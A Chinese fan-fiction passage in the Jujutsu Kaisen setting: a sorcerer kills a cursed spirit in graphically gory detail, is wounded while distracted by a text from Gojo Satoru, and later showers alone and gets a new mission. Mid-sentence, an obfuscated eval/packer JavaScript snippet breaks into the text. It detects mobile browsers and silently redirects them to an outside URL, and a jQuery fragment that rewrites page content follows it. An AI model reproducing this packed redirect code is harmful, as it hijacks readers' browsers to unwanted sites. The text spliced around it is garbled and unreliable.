朔夜站在破败的仓库中央,脚下是狼藉一片的断肢残骸。
惨淡的日光从碎裂的窗户斜切进来,落在满地乱七八糟的肉块上。折断的手臂、扭曲的腿、还有那些早已分不清部位、血肉模糊的碎块。
血渗进碎石的缝隙里,漫得到处都是,积成一洼一洼凝固的暗红。空气里裹着浓重的铁锈腥气,呛得人胸口发闷。
朔夜低头看了一眼脚边那滩被风吹得泛起涟漪的血水,眉头皱了皱。
他嫌恶的绕过那滩血,脚步顿了顿,又低头确认了自己的鞋底是干净的。这才继续往前走,每一步都尽量挑着稍微干净点的地方下脚。
绕过那些一眼就让人觉得反胃的断肢残骸和那些四溅开来的内脏,朝仓库深处走去。
我早就知道,高层硬塞来的紧急任务没一个省心的。
实力靠前的术师大多脾气和性格各有古怪,像他这样出手利落、事还少、给钱就接的工具人实在不多,上头自然巴不得把所有棘手烂活全往他身上堆。
好在报酬还算丰厚,各取所需罢了。
阴影深处,有东西在动。
先是轮廓,巨大模糊、不成人形的轮廓,从漆黑里一点点往外挤。
然后是头,硕大而怪异的头颅,慢悠悠从暗处探出来。动作慢得刻意,像是在享受猎物的恐惧,慢到足够让人看清它脸上那抹愉悦的狰狞。
咒灵的嘴里,正鼓鼓囊囊的嚼着什么。
“咔嚓、咔嚓。”
是骨头被碾碎的声响,混着血肉撕裂的黏腻杂音,在死寂的仓库里一下下敲着耳膜。它大开大合的嘴角不断溢出深红色的血,黏稠腥臭,顺着宽大的牙缝往下淌,流落在地面,积成一大滩血水。
它慢慢咀嚼后缓缓咽下,又张口狠狠咬下一口,仿佛在享用什么美味珍馐。
一截人类的手脚从牙齿上垂落下来,连带着模糊不清的肠子,在半空中慢悠悠晃荡。咒灵眯着眼,摇头晃脑的咀嚼,满足得像个吃到甜食的小孩,每嚼一下,喉咙里就滚出一声怪异又愉悦的低笑。
朔夜站在不远处,平静的望着它吃得津津有味,语气淡得像在谈论天气:
“啊,看来打扰你吃饭了。”
他顿了顿,声音依旧平稳,不带半分波澜:
“那你去死吧。”
朔夜朝前走去,脚下的阴影骤然沸腾。他走得不快,每一步却踩得极稳。血水、碎肉、不知名的脏器,他一步踏过,再也没有避让。
目光死死盯着那只还在狂笑的怪物,看着那张不停咀嚼的血盆大口,和那张让他从心底泛起恶心的脸。
不过是个连风浪都掀不起的三流货色,也只能躲在这种阴暗闭塞的角落里,啃食几个普通人充饥。
那怪物骤然发出一声刺耳尖叫,伴随着什么东西被撕裂的声音,身体扭缩成各种奇怪的形状,在地上疯狂抽搐翻涌。
朔夜收回手,轻轻一甩,指尖溅上的黑血滴落。
不是他的血,是那怪物的,黏稠、腐臭。朔夜嫌恶的皱眉,在衣摆上胡乱蹭了蹭。
咒灵吓得节节后退,如惊弓之鸟般半个身子缩回阴影,只露出一双魂飞魄散的眼睛。
朔夜缓步逼近,抬手,准备一击了结。
嗡——
口袋里,手机忽然震了一下。
朔夜下意识低头,看了一眼。
就一眼,或许半秒都不到,可就是这一瞬,足够了。
咒灵猛地从阴影里暴起突袭,尖利的爪子狠狠划开他的腹部。皮肉撕裂的声音清晰得刺耳。温热的血喷涌而出,溅在朔夜脸上。
朔夜低下头,看着自己腹部绽开的伤口,鲜血不断往外疯涌,带着湿滑粘腻的内脏,颤巍巍挂在伤口边缘。那只咒灵得手后又疯一样缩回黑暗等待伺机而动。
他抬起头,脸上依旧没什么表情,只是伸手按在伤口上。掌心瞬间被温热黏腻的血浸透,带着脏器特有湿滑的触感,顺着指缝往下不断流淌。
血还在流,朔夜却像完全感觉不到痛,只是往前又迈了一步。
那咒灵自知穷途末路,在地上瑟瑟发抖,发出呜呜的哀鸣,像一只甩尾乞讨的狗。朔夜连多余的眼神都没有,抬手操控阴影,干脆利落一击。
“噗——”
咒灵半个脑袋被瞬间削飞,黑血狂喷,溅在他的脚边。朔夜上前一步,抬脚,重重踩下。
“咔嚓。”
那半个脑袋彻底碎裂,碎肉与黑血混作一团,赤裸裸摊在地上,像个被碾烂的坏番茄。
他收回脚,抬起那只还算干净的手,从口袋里掏出手机。
屏幕亮起,朔夜垂眸看着,眉尖轻轻动了一下。
腹部的伤口还在不断淌血,一滴一滴落在地面,在脚边炸开小小的血花。他就那样一动不动的站在满地残骸与腥臭之中,安安静静盯着手机屏幕。
是五条悟。
自从五条悟去高专上学后,便有空没空都给他发消息。
不是吐槽学校无聊,就是抱怨同学无趣,再不然就是事无巨细的汇报自己今天干了什么,恨不得把一整天的一举一动都掰开来,一桩桩报备给朔夜听。
这会儿又连发了一长串照片,叽叽喳喳的说自己今天又吃了什么甜品。
朔夜垂着眼,指尖随意往上翻了翻,确认没有什么要紧事,只是些没头没尾的日常碎语,他轻轻叹了口气,面无表情的按熄了屏幕。
腹部的血还在一滴一滴往下落,在冰冷的地面上慢慢积成一小洼血。又一滴血落下去,在泛光的表面上溅起一层细小的涟漪。
朔夜出神的盯着地面缓缓漾开的涟漪,嘴唇抿成一道僵硬的线。他沉默着再次摸出手机,指尖犹豫再三,终于还是按下了那串烂熟于心的号码。
“嘟——嘟——嘟——”
冗长的忙音一下下砸在心头,朔夜屏住呼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375136|200058||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吸,目不转睛的盯着亮起的屏幕,看着那串数字在界面上不停跳动,心脏也跟着悬在半空。
“您拨打的电话暂时无人接听,请稍后再拨……”
机械的女声冰冷响起,朔夜猛地一怔,手机上“未接通”三个刺眼的字像快烧红的烙铁,烫的人眼底生疼。
没有丝毫犹豫,他几乎是在挂断的瞬间,又飞快按下了拨号键,连一句能宽慰自己的借口都来不及多想。
“嘟——”
只仓促的响了一声。
屏幕骤然跳出“对方已挂断”的字样,那几个字格外刺眼,扎得他眼眶微微发涩。
朔夜有些无措的攥着手机,孤零零站在原地,依旧抿着唇一言不发。久到屏幕自动暗下来,隐隐约约从黑屏从映出自己的脸,模糊的脸表情看不真切,或许也没有表情。
他没有再拨第三遍。
反转术式只能修复皮肉伤口,朔夜根本没法跟辅助监督解释自己大半身的血迹和破破烂烂的衣服。
他草草在手机上回了句任务完成,便随便找了家偏僻小旅馆,翻身从窗户跃了进去。
哗啦啦的水声瞬间漫开,水流顺着他紧绷的肩线淌下,一路坠到脚底。
原本凝固在皮肤上的暗红血痂被热水化开,像红墨汁滴入清水,丝丝缕缕的晕散开来,又顺着肌肤滑落。血水与清水在脚边搅成一团,打着旋,又被地漏一点点吞掉。
长发彻底湿透,沉甸甸贴在背上,一缕缕散开,黑得像化不开的浓墨。
朔夜深吸一口气,抬起双手,死死捂住自己的脸。
水流顺着手臂蜿蜒而下,从手肘滴落,砸在地面那片泛着淡红的水洼里,溅起细小的水花。
搞什么……居然在战斗的时候分心,自己怎么会犯这种低级错误。
脚下的水色渐渐变清。朔夜关掉龙头,双手撑着洗漱台,低着头,一动不动的站在原地。
狭小的浴室瞬间陷入死寂,只剩下发梢坠下的水珠一下下滴落的声音,敲在冰冷的瓷砖上,空荡又清晰的回响开来。
他缓缓抬头,看向镜子。
镜面蒙着一层厚厚的水雾,什么也看不清,只有一道模糊的人影立在深处,像隔着一层朦胧的雾,遥远又不真切。
朔夜盯着那道影子看了几秒,抬手,用掌心在镜面上狠狠一抹。
水雾被擦开一道透亮的镜面,丝丝缕缕的水滴顺着抹开的痕迹下滑。镜子里,露出了自己苍白得近乎透明的脸,亦如那个晚上。
朔夜沉默的与镜中的自己对望,神情疲惫,不知道在想些什么。
桌面上的手机突然震动,刺破这片死寂,朔夜低头,看见是辅助监督后心不在焉的划开接听。
“抱歉打扰了,影月先生,这边又有紧急任务,麻烦您尽快赶到。”
“本次任务会有一名擅长吸收咒灵的学生一同出席,如果可以,请尽量保留咒灵性命。”